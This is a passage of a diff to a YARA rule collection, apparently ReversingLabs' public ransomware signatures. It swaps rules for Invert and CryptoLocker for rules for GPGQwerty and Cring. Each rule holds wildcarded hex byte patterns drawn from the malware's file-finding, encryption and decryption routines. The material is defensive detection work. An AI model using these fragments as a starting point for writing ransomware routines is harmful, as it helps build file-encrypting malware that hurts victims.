-            24 ?? ?? 7C ?? 7F ?? 81 7C 24 ?? ?? ?? ?? ?? 72 ?? 80 3E ?? 74 ?? 6A ?? 8D 44 24 ??
-            50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 56 8D 44 24 ?? 50 FF 74 24 ?? FF 94 24 ?? ?? ?? ??
-            83 C4 ?? 85 C0 74 ?? 8D 44 24 ?? 50 55 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 55
-            FF 15 ?? ?? ?? ?? 5F 5E 5D 5B 81 C4 ?? ?? ?? ?? C3
+		$generate_salt = {
+            00 1F ?? 8D ?? ?? ?? ?? 0A 73 ?? ?? ?? ?? 0B 00 16 0C 2B ?? 00 07 06 6F ?? ?? ?? ?? 00
+            00 08 17 58 0C 08 1F ?? FE 04 0D 09 2D ?? 00 DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? 00 DC 06
+            13 ?? 2B ?? 11 ?? 2A
         }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_*)) and ( all of ($encrypt_files_*))
+		uint16(0)==0x5A4D and ($setup_env) and ($find_files) and ($generate_salt) and ( all of ($encrypt_files_p*))
 }
-rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Invert : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Gpgqwerty : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Invert ransomware."
+		description = "Yara rule that detects GPGQwerty ransomware."
 		author = "ReversingLabs"
-		id = "7ef77946-a902-5dc6-9b3c-b7b6a687eb96"
-		date = "2021-11-11"
-		modified = "2021-11-11"
+		id = "8848e00a-a695-575b-a29d-fc9521859e12"
+		date = "2020-07-15"
+		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/ByteCode.MSIL.Ransomware.Invert.yara#L1-L66"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "1608b8bbfc03b18a79752e60f211da7d7703862bc06b2ddf094074ae5efd0d14"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.GPGQwerty.yara#L1-L83"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "e59adadd66b4d242ac7337ce4b3c3ec6c60724f4cf5b86305f1e31b88745928c"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -30514,61 +31967,79 @@ rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Invert : TC_DETECTION MALICIOUS MALW
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Invert"
+		tc_detection_name = "GPGQwerty"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$encrypt_files = {
-            73 ?? ?? ?? ?? 0A 06 04 7D ?? ?? ?? ?? 00 00 02 28 ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 25 2D
-            ?? 26 06 06 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 0C 7D ?? ?? ?? ?? 08 7E ?? ?? ?? ?? 25
-            2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 28 ?? ?? ??
-            ?? 7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ??
-            ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73
-            ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ??
-            FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 25 2D
-            ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 28 ?? ?? ?? ??
-            7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ??
-            ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0B 2B ?? 07 6F ?? ?? ?? ?? 0D 00 00 09 03 28 ?? ??
-            ?? ?? 13 ?? 11 ?? 2C ?? 00 7E ?? ?? ?? ?? 09 6F ?? ?? ?? ?? 26 00 00 DE ?? 26 00 00 DE
-            ?? 00 07 6F ?? ?? ?? ?? 2D ?? DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? 00 DC 2A
+		$find_files_p1 = {
+            56 53 89 D3 81 EC ?? ?? ?? ?? 8D 54 24 ?? 89 04 24 89 54 24 ?? E8 ?? ?? ?? ?? 83 EC
+            ?? 83 F8 ?? 89 C6 74 ?? 31 C0 8D 4B ?? 66 89 43 ?? 31 C0 EB ?? 0F B7 43 ?? 83 C0 ??
+            66 3D ?? ?? 66 89 43 ?? 83 D1 ?? 0F B7 C0 0F B6 44 04 ?? 84 C0 88 01 75 ?? 8B 44 24
+            ?? 24 ?? 83 F8 ?? 76 ?? C7 43 ?? ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 89 F0 5B 5E C3 66 90
+            89 43 ?? 81 C4 ?? ?? ?? ?? 89 F0 5B 5E C3 E8 ?? ?? ?? ?? 89 C3 E8 ?? ?? ?? ?? 83 F8
+            ?? 89 03 74 ?? E8 ?? ?? ?? ?? 81 38 ?? ?? ?? ?? 74 ?? E8 ?? ?? ?? ?? 83 38 ?? 74 ??
+            E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? EB ?? E8 ??
+            ?? ?? ?? C7 00 ?? ?? ?? ?? EB ?? 90 56 53 89 D3 81 EC ?? ?? ?? ?? 8D 54 24 ?? 89 04
+            24 89 54 24 ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 89 C6 74 ?? 31 C0 8D 4B ?? 66 89 43 ??
+            31 C0 EB ?? 0F B7 43 ?? 83 C0 ?? 66 3D ?? ?? 66 89 43 ?? 83 D1 ?? 0F B7 C0 0F B6 44
+            04 ?? 84 C0 88 01 75 ?? 8B 44 24 ?? 24 ?? 83 F8 ?? 77 ?? 89 43 ?? 81 C4 ?? ?? ?? ??
+            89 F0 5B 5E C3 8D B4 26 ?? ?? ?? ?? C7 43 ?? ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 89 F0 5B
+            5E C3 E8 ?? ?? ?? ?? 83 F8 ?? 74 ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? 81 C4 ?? ?? ??
+            ?? 89 F0 5B 5E C3
         }
-		$find_files = {
-            00 73 ?? ?? ?? ?? 0A 00 28 ?? ?? ?? ?? 18 8D ?? ?? ?? ?? 25 16 28 ?? ?? ?? ?? A2 25 17
-            72 ?? ?? ?? ?? A2 17 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0B 2B ?? 12 ?? 28 ??
-            ?? ?? ?? 0C 00 06 08 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 26 00 12 ?? 28 ?? ?? ?? ?? 2D ?? DE
-            ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DC 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 26 06
-            0D 2B ?? 09 2A
+		$find_files_p2 = {
+            8B 45 ?? 89 45 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 95 C0 84
+            C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ??
+            ?? 85 C0 74 ?? 8B 45 ?? 83 C0 ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 85
+            C0 74 ?? C6 85 ?? ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ??
+            ?? ?? ?? 8B 45 ?? 83 C0 ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D
+            85 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 94 C0 84 C0 0F 84
+            ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ??
+            ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ??
+            ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ??
+            ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ??
+            C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7
+            44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 44
+            24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 44 24
+            ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 45 ?? 83
+            C0 ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 45
+            ?? 83 C0 ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ??
+            8B 45 ?? 83 C0 ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ??
+            ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? E8
         }
-		$get_file_list = {
-            00 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 06 2C
-            ?? 00 02 73 ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 38 ?? ??
-            ?? ?? 00 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0B
-            00 00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0C 2B ?? 12 ?? 28 ?? ?? ?? ?? 0D 00 07 09 6F ?? ??
-            ?? ?? 00 00 12 ?? 28 ?? ?? ?? ?? 2D ?? DE ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00
-            DC 00 DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? 00 DC 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ??
-            ?? 28 ?? ?? ?? ?? 18 28 ?? ?? ?? ?? 00 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28
-            ?? ?? ?? ?? 18 28 ?? ?? ?? ?? 00 02 73 ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 6F
-            ?? ?? ?? ?? 00 00 2A
+		$encrypt_files = {
+            C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ??
+            C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83
+            C0 ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? C7 44
+            24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8B 45 ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7
+            04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 89 44
+            24 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? 8D 85 ?? ?? ??
+            ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 C2 B8
+            ?? ?? ?? ?? 89 D7 F2 AE 89 C8 F7 D0 8D 50 ?? 8D 85 ?? ?? ?? ?? 01 D0 66 C7 00 ?? ??
+            8B 45 ?? 83 E8 ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? E9
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($get_file_list) and ($find_files) and ($encrypt_files)
+		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ($encrypt_files)
 }
-import "pe"
-
-rule REVERSINGLABS_Win32_Ransomware_Cryptolocker : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Cring : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects CryptoLocker ransomware."
+		description = "Yara rule that detects Cring ransomware."
 		author = "ReversingLabs"
-		id = "8cc3ac4b-9179-5e2c-97e1-65304f9dfe22"
-		date = "2020-07-15"
-		modified = "2020-07-15"
+		id = "76530a6d-145b-5316-8200-4b191d0754fd"
+		date = "2021-08-12"
+		modified = "2021-08-12"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.CryptoLocker.yara#L3-L154"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "08430b0c5689840d592bdda5dbc2ed06e0d0fa1e2c0f19aff4316580c6a0b23d"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/ByteCode.MSIL.Ransomware.Cring.yara#L1-L66"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "05cf60ad39c9dcc592345f13b63c99b153b9253297a8ad9e52e0439081d8c796"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -30576,139 +32047,151 @@ rule REVERSINGLABS_Win32_Ransomware_Cryptolocker : TC_DETECTION MALICIOUS MALWAR
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "CryptoLocker"
+		tc_detection_name = "Cring"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$file_loop_1 = {
-            55 8B EC 83 EC ?? 53 56 8B D9 57 89 5D ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 32 C9 83 7D ?? ?? 88 4D ?? 0F 86 45 01
-            00 00 8B 5D ?? 0F 57 C0 66 0F 13 45 ?? 84 C9 74 08 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? FF 75 ?? FF 75 ?? FF 33 FF 15 ??
-            ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 FF 33 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 8B 75 ??
-            6A ?? 8B 49 ?? 6A ?? 52 56 8B 01 6A ?? 89 55 ?? 8B 00 FF D0 84 C0 0F 84 E6 00 00 00 FF 15 ?? ?? ?? ?? 8B 7D ?? 33 D2 89
-            45 ?? 8B D8 85 FF 72 18 77 08 81 FE ?? ?? ?? ?? 76 0E B8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB 05 8B C6 89 7D ?? 3B D0 73
-            0F 8B 45 ?? 8D 0C 13 8B 40 ?? 88 0C 02 42 EB CC 8B 5D ?? 85 FF 8B FE 75 04 85 F6 74 6B 85 DB 77 0E 72 08 81 FF ?? ?? ??
-            ?? 73 04 8B F7 EB 05 BE ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8B 45 ?? 56 FF 70 ?? 8B 45 ?? FF 30 FF 15 ?? ?? ?? ?? 85 C0 74 ??
-            39 75 ?? 75 ?? 8B 45 ?? 2B FE 8B 55 ?? 83 DB ?? 2B D7 8B 48 ?? 8B 45 ?? 1B C3 50 8B 31 52 FF 75 ?? FF 75 ?? 8B 06 6A ??
-            FF D0 84 C0 74 34 85 DB 77 AD 72 04 85 FF 75 95 8B 5D ?? FF 33 FF 15 ?? ?? ?? ?? 8A 4D ?? FE C1 0F B6 C1 88 4D ?? 3B 45
-            ?? 0F 82 C6 FE FF FF B0 ?? 5F 5E 5B 8B E5 5D C2
-        }
-		$file_loop_2 = {
-            55 8B EC 83 EC ?? 53 56 8B D9 57 89 5D ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 32 C9 83 7D ?? ?? 88 4D ?? 0F 86 50 01
-            00 00 8B 5D ?? 0F 57 C0 66 0F 13 45 ?? 84 C9 74 08 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? FF 75 ?? FF 75 ?? FF 33 FF 15 ??
-            ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 FF 33 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 8B 49 ??
-            8B 75 ?? 8B 01 6A ?? 8B 00 6A ?? 52 56 6A ?? 89 55 ?? FF D0 84 C0 0F 84 F1 00 00 00 FF 15 ?? ?? ?? ?? 8B 7D ?? 89 45 ??
-            33 D2 8B D8 85 FF 72 18 77 08 81 FE ?? ?? ?? ?? 76 0E B8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB 05 8B C6 89 7D ?? 3B D0 73
-            10 8B 45 ?? 8D 0C 13 8B 40 ?? 42 88 4C 02 ?? EB CB 8B 5D ?? 85 FF 8B FE 75 04 85 F6 74 75 85 DB 77 11 72 08 81 FF ?? ??
-            ?? ?? 73 07 8B F7 89 5D ?? EB 0C BE ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8B 45 ?? 56 FF 70 ?? 8B 45 ?? FF
-            30 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 39 75 ?? 75 ?? 8B 45 ?? 8B 55 ?? 8B 48 ?? 8B 45 ?? 2B FE 8B 31 83 DB ?? 2B D7 1B C3 50
-            8B 06 52 FF 75 ?? FF 75 ?? 6A ?? FF D0 84 C0 74 34 85 DB 77 A6 72 04 85 FF 75 8B 8B 5D ?? FF 33 FF 15 ?? ?? ?? ?? 8A 4D
-            ?? FE C1 0F B6 C1 88 4D ?? 3B 45 ?? 0F 82 BB FE FF FF B0 ?? 5F 5E 5B 8B E5 5D C2
-        }
-		$file_loop_3 = {
-            55 8B EC 83 EC ?? 53 56 8B C1 57 89 45 ?? E8 ?? ?? ?? ?? 84 C0 0F 84 62 01 00 00 8B 5D ?? 32 C0 0F 57 C0 88 45 ?? 66 0F
-            13 45 ?? EB 03 8D 49 ?? 84 C0 74 08 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? FF 75 ?? FF 75 ?? FF 33 FF 15 ?? ?? ?? ?? 85 C0
-            0F 84 27 01 00 00 8D 45 ?? 50 FF 33 FF 15 ?? ?? ?? ?? 85 C0 0F 84 13 01 00 00 8B 4D ?? 8B 55 ?? 8B 49 ?? 8B 75 ?? 8B 01
-            6A ?? 8B 00 6A ?? 52 56 6A ?? 89 55 ?? FF D0 84 C0 0F 84 EE 00 00 00 FF 15 ?? ?? ?? ?? 8B 7D ?? 89 45 ?? 33 D2 8B D8 90
-            85 FF 72 18 77 08 81 FE ?? ?? ?? ?? 76 0E B8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB 05 8B C6 89 7D ?? 3B D0 73 10 8B 45 ??
-            8D 0C 13 8B 40 ?? 42 88 4C 02 ?? EB CB 8B 5D ?? 85 FF 8B FE 75 04 85 F6 74 75 85 DB 77 11 72 08 81 FF ?? ?? ?? ?? 73 07
-            8B F7 89 5D ?? EB 0C BE ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8B 45 ?? 56 FF 70 ?? 8B 45 ?? FF 30 FF 15 ??
-            ?? ?? ?? 85 C0 74 5E 39 75 ?? 75 59 8B 45 ?? 8B 55 ?? 8B 48 ?? 8B 45 ?? 2B FE 8B 31 83 DB ?? 2B D7 1B C3 50 8B 06 52 FF
-            75 ?? FF 75 ?? 6A ?? FF D0 84 C0 74 30 85 DB 77 A6 72 04 85 FF 75 8B 8B 5D ?? FF 33 FF 15 ?? ?? ?? ?? 8A 45 ?? FE C0 88
-            45 ?? 3C ?? 0F 82 BE FE FF FF B0 ?? 5F 5E 5B 8B E5 5D C2
-        }
-		$encrypt_data_1 = {
-            55 8B EC 56 8B 75 ?? 57 8B F9 39 75 ?? 73 09 5F 83 C8 ?? 5E 5D C2 ?? ?? 8B 07 53 85 C0 74 58 48 83 F8 ?? 77 48 8B 5D ??
-            8B 45 ?? 3B D8 74 0B 56 50 53 E8 ?? ?? ?? ?? 83 C4 ?? FF 75 ?? 8D 45 ?? 89 75 ?? 50 8B 45 ?? 53 6A ?? 0F B6 C0 50 6A ??
-            FF 77 ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 83 CA ?? 85 C0 5B 0F 44 CA 5F 8B C1 5E 5D C2 ?? ?? 5B 5F 83 C8 ?? 5E 5D C2 ?? ?? 8B
-            47 ?? 33 D2 89 45 ?? 8B 47 ?? 85 F6 74 26 8B 7D ?? 8B DE 8B 4D ?? 8B F0 2B F9 8A 04 0F 8D 49 ?? 32 04 32 88 41 ?? 8D 42
-            ?? 33 D2 F7 75 ?? 4B 75 E9 8B 75 ?? 5B 5F 8B C6 5E 5D C2
-        }
-		$encrypt_data_2 = {
-            55 8B EC 56 8B 75 ?? 57 8B F9 39 75 ?? 73 09 5F 83 C8 ?? 5E 5D C2 ?? ?? 8B 07 53 85 C0 74 56 48 83 F8 ?? 77 46 8B 5D ??
-            8B 45 ?? 3B D8 74 0B 56 50 53 E8 ?? ?? ?? ?? 83 C4 ?? FF 75 ?? 8D 45 ?? 50 0F B6 45 ?? 53 6A ?? 50 6A ?? FF 77 ?? 89 75
-            ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 83 CA ?? 85 C0 5B 0F 44 CA 5F 8B C1 5E 5D C2 ?? ?? 5B 5F 83 C8 ?? 5E 5D C2 ?? ?? 8B 47 ??
-            33 D2 89 45 ?? 8B 47 ?? 85 F6 74 26 8B 4D ?? 8B 7D ?? 8B DE 2B F9 8B F0 8A 04 0F 32 04 32 8D 49 ?? 88 41 ?? 8D 42 ?? 33
-            D2 F7 75 ?? 4B 75 E9 8B 75 ?? 5B 5F 8B C6 5E 5D C2
-        }
-		$encrypt_data_3 = {
-            55 8B EC 53 56 8B 75 ?? 8B D9 39 75 ?? 72 4C 83 3B ?? 77 47 8B 45 ?? 57 8B 7D ?? 3B F8 74 0B 56 50 57 E8 ?? ?? ?? ?? 83
-            C4 ?? FF 75 ?? 8D 45 ?? 50 0F B6 45 ?? 57 6A ?? 50 6A ?? FF 73 ?? 89 75 ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 83 CA ?? 85 C0 5F
-            0F 44 CA 5E 8B C1 5B 5D C2 ?? ?? 5E 83 C8 ?? 5B 5D C2
-        }
-		$decrypt_data_1 = {
-            55 8B EC 53 56 57 8B F9 8B 07 85 C0 74 53 48 83 F8 ?? 77 55 8B 75 ?? 39 75 ?? 72 4D 8B 5D ?? 8B 45 ?? 3B D8 74 0B 56 50
-            53 E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 89 75 ?? 50 8B 45 ?? 53 6A ?? 0F B6 C0 50 6A ?? FF 77 ?? FF 15 ?? ?? ?? ?? 8B 4D ??
-            83 CA ?? 85 C0 5F 0F 44 CA 5E 8B C1 5B 5D C2 ?? ?? 8B 75 ?? 39 75 ?? 73 0A 5F 5E 83 C8 ?? 5B 5D C2 ?? ?? 8B 47 ?? 33 D2
-            89 45 ?? 8B 47 ?? 85 F6 74 28 8B 7D ?? 8B DE 8B 4D ?? 8B F0 2B F9 8B FF 8A 04 0F 8D 49 ?? 32 04 32 88 41 ?? 8D 42 ?? 33
-            D2 F7 75 ?? 4B 75 E9 8B 75 ?? 5F 8B C6 5E 5B 5D C2
-        }
-		$decrypt_data_2 = {
-            55 8B EC 53 56 57 8B F9 8B 07 85 C0 74 51 48 83 F8 ?? 77 53 8B 75 ?? 39 75 ?? 72 4B 8B 5D ?? 8B 45 ?? 3B D8 74 0B 56 50
-            53 E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 50 0F B6 45 ?? 53 6A ?? 50 6A ?? FF 77 ?? 89 75 ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 83 CA
-            ?? 85 C0 5F 0F 44 CA 5E 8B C1 5B 5D C2 ?? ?? 8B 75 ?? 39 75 ?? 73 0A 5F 5E 83 C8 ?? 5B 5D C2 ?? ?? 8B 47 ?? 33 D2 89 45
-            ?? 8B 47 ?? 85 F6 74 2A 8B 4D ?? 8B 7D ?? 8B DE 2B F9 8B F0 8D 64 24 ?? 8A 04 0F 32 04 32 8D 49 ?? 88 41 ?? 8D 42 ?? 33
-            D2 F7 75 ?? 4B 75 E9 8B 75 ?? 5F 8B C6 5E 5B 5D C2
-        }
-		$decrypt_data_3 = {
-            55 8B EC 53 8B D9 83 3B ?? 77 56 56 8B 75 ?? 39 75 ?? 73 09 5E 83 C8 ?? 5B 5D C2 ?? ?? 8B 45 ?? 57 8B 7D ?? 3B F8 74 0B
-            56 50 57 E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 50 0F B6 45 ?? 57 6A ?? 50 6A ?? FF 73 ?? 89 75 ?? FF 15 ?? ?? ?? ?? 8B 4D ??
-            83 CA ?? 85 C0 5F 0F 44 CA 5E 8B C1 5B 5D C2 ?? ?? 83 C8 ?? 5B 5D C2
+		$find_files_p1 = {
+            28 ?? ?? ?? ?? 0A 16 0B 2B ?? 06 07 9A 0C 08 6F ?? ?? ?? ?? 19 2E ?? 08 6F ?? ?? ?? ??
+            18 33 ?? 08 6F ?? ?? ?? ?? 2C ?? 08 6F ?? ?? ?? ?? 02 17 28 ?? ?? ?? ?? 6F ?? ?? ?? ??
+            0D 2B ?? 09 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 09 6F ?? ?? ?? ?? 2D ?? DE ?? 09 2C ?? 09 6F
+            ?? ?? ?? ?? DC 07 17 58 0B 07 06 8E 69 32 ?? 2A
         }
-		$decrypt_strings_1 = {
-            55 8B EC 53 56 8B D9 8B F2 57 33 C9 33 FF 2B DE 8B 45 ?? 8D 14 31 8A 04 07 02 C1 32 04 13 88 02 8D 47 ?? 33 D2 F7 75 ??
-            8B FA F6 C1 ?? 75 0B 8B C1 D1 E8 66 83 3C 46 ?? 74 03 41 EB D3 D1 E9 5F 5E 5B 8D 41 ?? 5D C3
+		$find_files_p2 = {
+            02 7B ?? ?? ?? ?? 0B 07 45 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 16 0A DD ??
+            ?? ?? ?? 02 15 7D ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ??
